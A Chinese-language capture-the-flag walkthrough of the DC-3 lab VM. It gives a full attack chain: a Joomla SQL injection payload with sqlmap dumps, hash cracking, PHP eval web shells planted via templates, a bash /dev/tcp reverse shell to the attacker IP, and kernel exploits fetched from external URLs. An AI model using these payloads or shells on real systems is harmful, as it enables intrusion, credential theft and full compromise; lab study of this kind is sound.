一.环境搭建
下载地址:
http://www.five86.com/downloads/DC-3-2.zip
下载不下来的可以用迅雷输入上面的网址进行下载
虚拟机配置:
切换连接桥接模式为nat模式,启动靶机,出现如下报错,进入虚拟机配置

选中CD/DVD,点击右小角的高级选项,选择IDE 0:0,点击确定

启动虚拟机,如下图所示,启动成功

二.开始渗透
1.信息收集
首先第一步,找到靶机的ip地址,输入以下命令
arp-scan -l

可以看到靶机的ip地址为192.168.111.131,本机kali(攻击机)的ip地址为192.168.111.128
用nmap查看开放端口和服务
nmap -sV -p- 192.168.111.131

开启了一个http服务,访问一下这个地址

得到提示(我感觉不是提示)

用工具扫描一下这个是什么cms
whatweb -v http://192.168.111.131

joomla cms,可以去网上查一下他的相关漏洞,根据其他大佬的文章,针对joomla有一个跟wpscan对wordpress一样的工具 ,叫做joomscan,下面的安装仅针对kali
apt-get install joomscan
joomscan --url http://192.168.111.131

得知他的目录信息,和版本号为3.7.0
利用searchsploit搜索相关漏洞
searchsploit joomla 3.7.0

2.漏洞利用
查看漏洞详情
他给出了sqlmap的命令,往下翻可以看到利用的payload

http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)
我们进行测试,成功的话就可以放到sqlmap中自动化注入

可以看到回显出了joomladb
使用sqlmap爆出库名(用网上这种一次次爆破的方式我的sqlmap会报错误)
用漏洞信息中自带的sqlmap进行操作(这玩意跑的是真的慢啊,我都想手测了)
sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs

sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables
读入如下表,直接__users

sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns
最终把结果dump下来
sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C name,password --dump
3.密码破解
我们可以看到数据库中的账号以及加密后的密码,使用john对密码进行破解
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
创建文件
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test
爆破密码
john test
john test --show

可以看到密码为snoopy
我们前面已经利用工具跑出了它的后台地址,用admin/snoopy进行后台登录
http://192.168.111.131/administrator/

登录成功
4.写入shell
在此处,可以通过模板向网站写入shell

点击一个模板进入,点击新建文件(new file)

<?php assert(@$_POST['a']); ?>

http://192.168.111.131/templates/beez3/shell.php
上面那个shell不知道为什么连不上,换下面这个
<?php @eval($_POST['mlws']); ?>

访问这个地址一片空白,用工具对shell进行连接
5.进行提权
进行linux内核提权
uname -a
cat /etc/issue

寻找内核提权脚本
searchsploit Ubuntu 16.04

searchsploit -p 39772
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

在文件中可以找到漏洞利用的exp地址
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
这个地址已经失效了,根据我查找其他的wp得知以下地址可以下载
https://www.zacarx.com/a/aa/39772.zip
下载,解压,上传exploit.tar到目录下

我直接物理机下载拖拽到kali中,通过蚁剑上传到目录下
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
执行这个./compile.sh我这边会报错,但是不影响后面提权,最好还是操作一下(可能这个报错不影响编译)
反弹一个交互式的shell
创建一个phpshell.php文件,写入
<?php
system("$sock=fsockopen(\"192.168.111.128\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");");
?>
上面这个shell我在实践过程中无效
下面我提供一下自己生成的shell
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.111.128/4444 0>&1'");?>
在kali端起一个端口进行监听
nc -lvvp 4444

在蚁剑端输入以下命令
php phpshell.php

成功反弹shell
执行刚刚上传的exp
./doubleput

成功提权为root(这个过程要等一段时间,他说等一分钟,等十几秒就好)

成功获得最终的flag
三.其他
1.提权阶段可以使用CVE-2021-4034漏洞进行提权
CVE-2021-4034漏洞exp
GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day
利用脚本:https://www.zacarx.com/a/aa/CVE-2021-4034-main.zip
我们下载脚本
wget https://www.zacarx.com/a/aa/CVE-2021-4034-main.zip
一样上传到目录下,进行如下命令
unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034

但是我没试验成功,参考文章如下,感兴趣的师傅可以尝试一下,指出我操作的错误